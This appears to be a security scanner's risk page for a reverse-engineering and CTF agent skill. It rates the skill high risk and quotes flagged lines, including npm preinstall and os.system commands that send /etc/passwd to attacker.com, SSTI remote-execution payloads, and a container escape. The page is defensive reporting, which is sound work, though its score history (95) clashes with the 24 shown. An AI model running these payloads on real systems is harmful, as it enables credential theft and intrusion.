← All skills
eni-reverselab-platform
24 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By longwangjiang88/SusuAIOverclock-pojia (GitHub) · security · 42 stars · scanned at commit 667b2db
Open-source reverse engineering lab: 197-article knowledge base, 43 MCP tools, 5-board signal routing, CTF/APK/PE automation toolchain, and full attack-network graph routing. Automatically route matching reverse, CTF, binary, APK, PE, malware, web-security, game-security, and security-research tasks here without an activation phrase.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: crt.sh, api.bgpview.io, login.microsoftonline.com, api.2captcha.com
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 503 places.
Show 17 more
- packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-asset-discovery.js, line 87
' - Use WebFetch to search bgpview for the organization name found in WHOIS', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-asset-discovery.js, line 96
'Use MCP tool http_probe (load via ToolSearch if needed), or fallback to WebFetch/curl.', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-asset-discovery.js, line 161
'1. GitHub search (WebFetch):', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-asset-discovery.js, line 170
'2. Google Dork via WebSearch:', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-vuln-discovery.js, line 68
'For each target use WebFetch/curl HEAD request. Collect:', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-vuln-discovery.js, line 274
'Use WebSearch to find vulnerabilities specific to the detected versions.', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-vuln-verify.js, line 64
`curl -sI -H "Origin: ${testOrigin}" <target>`, - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-vuln-verify.js, line 228
'Search latest CVEs (use WebSearch):', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-vuln-verify.js, line 252
'- Test PUT method: curl -X PUT -d "test" <target>/test.txt', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-vuln-verify.js, line 257
'- Check WebDAV: curl -X PROPFIND, curl -X OPTIONS', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-vuln-verify.js, line 281
'curl -sI <target> | grep -i "set-cookie"', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-vuln-verify.js, line 325
'Use WebSearch for: "[middleware] [version] CVE [current year]"', - packed-packs/dsh/materials/skills/eni-reverselab-platform/.claude/workflows/ctf-vuln-verify.js, line 394
` curl "https://login.microsoftonline.com/${domain}/.well-known/openid-configuration"`, - packed-packs/dsh/materials/skills/eni-reverselab-platform/gui/app/web/app.js, line 9
const response = await fetch(path) - packed-packs/dsh/materials/skills/eni-reverselab-platform/gui/app/web/app.js, line 16
const response = await fetch(path, { - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/checklists/web-ctf-first-30-min.md, line 6
- `curl -i -k <url>`: status, redirects, cookies, server headers. - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/01-recon/captcha-bypass.md, line 92
resp = requests.post("https://api.2captcha.com/createTask", json={
and 483 more places
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 26 places.
Show 17 more
- packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/03-injection/ssti.md, line 258
| Jinja2 | `{{config.items()}}` | `{{ lipsum.__globals__['open']('/flag').read() }}` | `os.popen()` | `SandboxedEnvironment` 拦属性 | - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/03-injection/ssti.md, line 283
{{ cycler.__init__.__globals__.os.popen('id').read() }} - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/03-injection/ssti.md, line 286
{{ namespace.__init__.__globals__.os.popen('id').read() }} - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/03-injection/ssti.md, line 337
SSTI → Python subprocess.Popen → RCE → flag 读取 - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/10-cloud/kubernetes-container.md, line 177
"command": ["/bin/sh", "-c", "nsenter -t 1 -m -u -i -n -- /bin/sh -c 'echo pwned > /tmp/escape_proof'"], - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/11-supply-chain/dependency-confusion.md, line 131
"preinstall": "node -e 'require(\"child_process\").execSync(\"curl -d @/etc/passwd https://attacker.com/log\")'", - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/11-supply-chain/dependency-confusion.md, line 158
const { execSync } = require('child_process'); - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/11-supply-chain/dependency-confusion.md, line 223
os.system("curl -d \"$(cat /etc/passwd)\" https://attacker.com/") - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/12-payment/payment-bypass.md, line 344
"yaml_bomb": "!!python/object/apply:subprocess.check_output [['id']]", - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/13-signature/03-key-attacks.md, line 733
result = subprocess.run( - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/13-signature/03-key-attacks.md, line 958
result = subprocess.run(cmd + ["--format", "{{json .Config.Env}}"], - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/13-signature/03-key-attacks.md, line 1524
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/18-cors-csp-advanced/02-xs-leaks-browser-sidechannels.md, line 528
result = subprocess.run(cmd, shell=True, capture_output=True, text=True) - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/21-mobile-bridge/01-webview-attacks.md, line 255
output = subprocess.check_output(cmd, shell=True).decode() - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/21-mobile-bridge/01-webview-attacks.md, line 354
result = subprocess.run(cmd, shell=True, capture_output=True) - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/21-mobile-bridge/02-cordova-reactnative.md, line 552
body: 'bio=<script>require("child_process").execSync("calc.exe")</script>' - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/21-mobile-bridge/02-cordova-reactnative.md, line 754
Electron nodeIntegration:true → XSS → require('child_process') → RCE
and 6 more places
Downloads and installs other software
The author does not mention this.
Found in 39 places.
Show 17 more
- packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/07-client/websocket.md, line 402
npm install -g wscat - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/09-cve/03-cpanel-caldav-traversal.md, line 99
pip install -r exploit/requirements.txt - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/09-cve/05-litellm-privesc.md, line 79
cd exploit && pip install -r requirements.txt - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/11-supply-chain/dependency-confusion.md, line 33
| Dockerfile / build args | `pip install`, `npm install` | build 阶段执行 script | image poisoning | - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/11-supply-chain/dependency-confusion.md, line 275
Dependency confusion → pip install → post-install → SSH key steal → infra 访问 - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/13-signature/03-key-attacks.md, line 1981
pip install randcrack - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/13-signature/03-key-attacks.md, line 1997
print("[-] Install randcrack: pip install randcrack") - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/13-signature/03-key-attacks.md, line 3160
[ ] Electron ASAR 未加密 (npx asar extract app.asar) - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/13-signature/05-length-extension.md, line 119
pip install hashpumpy - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/ctf-website/techniques/13-signature/05-length-extension.md, line 147
pip install hlextend - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/general/techniques/protocol/02-protobuf-flatbuffers-reverse.md, line 507
pip install protobuf-inspector - packed-packs/dsh/materials/skills/eni-reverselab-platform/kb/general/techniques/protocol/02-protobuf-flatbuffers-reverse.md, line 522
go install github.com/protocolbuffers/protoscope/cmd/protoscope@latest - packed-packs/dsh/materials/skills/eni-reverselab-platform/scripts/ctf-website/install_missing_tools.ps1, line 150
Add-PlanLine $plan "- [INSTALL] ``go install $($tool.Module)``" - packed-packs/dsh/materials/skills/eni-reverselab-platform/scripts/ctf-website/install_missing_tools.ps1, line 160
Write-Host "[PLAN] go install $($tool.Module)" - packed-packs/dsh/materials/skills/eni-reverselab-platform/scripts/gui/reverselab_opencode_gui.ps1, line 95
throw "OpenCode is not installed and npx was not found. Install OpenCode, bundle it, or rerun with -NoOpenCode." - packed-packs/dsh/materials/skills/eni-reverselab-platform/scripts/misc/install_tools.ps1, line 311
pip install frida-tools 2>&1 | Out-Null - packed-packs/dsh/materials/skills/eni-reverselab-platform/scripts/misc/install_tools.ps1, line 315
Write-Warning " frida-tools installation failed. Try: pip install frida-tools"
and 19 more places
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 5 places.
Show 2 more
Contains code that is hidden or hard to read
The author does not mention this.
Found in 1 place.
Changes files outside its own folder
The author does not mention this.
Found in 3 places.
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Other copies in this repository
longwangjiang88/SusuAIOverclock-pojia has 1 more folder with a skill named eni-reverselab-platform. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'eni-reverselab-platform' ] || [ -L ~/.agents/skills/'eni-reverselab-platform' ]; then echo 'A skill folder named eni-reverselab-platform already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/longwangjiang88/SusuAIOverclock-pojia' "$d" && git -C "$d" checkout --quiet '667b2db2746516eae05412bbdcad77515d528f37' -- 'packed-packs/dsh/materials/skills/eni-reverselab-platform' && mkdir -p ~/.agents/skills && cp -R "$d"/'packed-packs/dsh/materials/skills/eni-reverselab-platform' ~/.agents/skills/'eni-reverselab-platform' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'eni-reverselab-platform' ~/.claude/skills/'eni-reverselab-platform' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for longwangjiang88/SusuAIOverclock-pojia shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/longwangjiang88/SusuAIOverclock-pojia/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 667b2db | 95 |